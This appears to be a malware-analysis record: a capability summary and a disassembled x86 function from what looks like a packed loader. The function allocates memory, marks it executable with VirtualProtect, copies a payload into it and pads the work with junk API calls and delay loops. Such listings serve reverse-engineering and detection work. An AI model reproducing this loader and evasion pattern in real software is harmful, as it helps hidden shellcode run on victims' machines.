Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42f458
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x427ab8
push eax
mov dword fs:[0], esp
sub esp, 0x4c8
cmp dword [0x84d680], 0x5b1
push ebx
push esi
push edi
jne 0x401627
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x38]
call fcn.00401960
push 0
mov dword [ebp - 4], 0
call fcn.00402dd7
push 0
push 0
call fcn.00402910
add esp, 0xc
jmp 0x401550
mov eax, dword [0x84d680]
add eax, 0x1134b
push eax
push 0
mov dword [0x84d680], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x84d680]
lea edx, [ebp - 0x18]
push edx
push 0x40
push ecx
push eax
mov dword [0x84c5d4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401673
lea edx, [ebp - 0x4d0]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401660
xor esi, esi
cmp dword [0x84d680], esi
jbe 0x4016d7
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [0x84d684]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x84c5d4]
mov byte [edx + esi], cl
cmp dword [0x84d680], 0xa8
jne 0x4016ce
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
push 0
call ebx
lea ecx, [ebp - 0xd0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
inc esi
cmp esi, dword [0x84d680]
jb 0x401692
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x84d680]
add edx, eax
cmp edx, 0xe
jne 0x40173d
push 0
push 0
push str.xorumudewup
call esi
push 0
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x39621
mov dword [ebp - 0x10], eax
jl 0x4016ee
call fcn.00401430
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x401761
call fcn.00401530
inc esi
cmp esi, 0x6753f
jl 0x401755
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, 0x7b
jmp 0x401780
cmp dword [0x84d680], 0x86
jne 0x401798
push 0
push 0
call esi
push 0
push 0
call edi
sub ebx, 1
jne 0x401780
call fcn.004011a0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret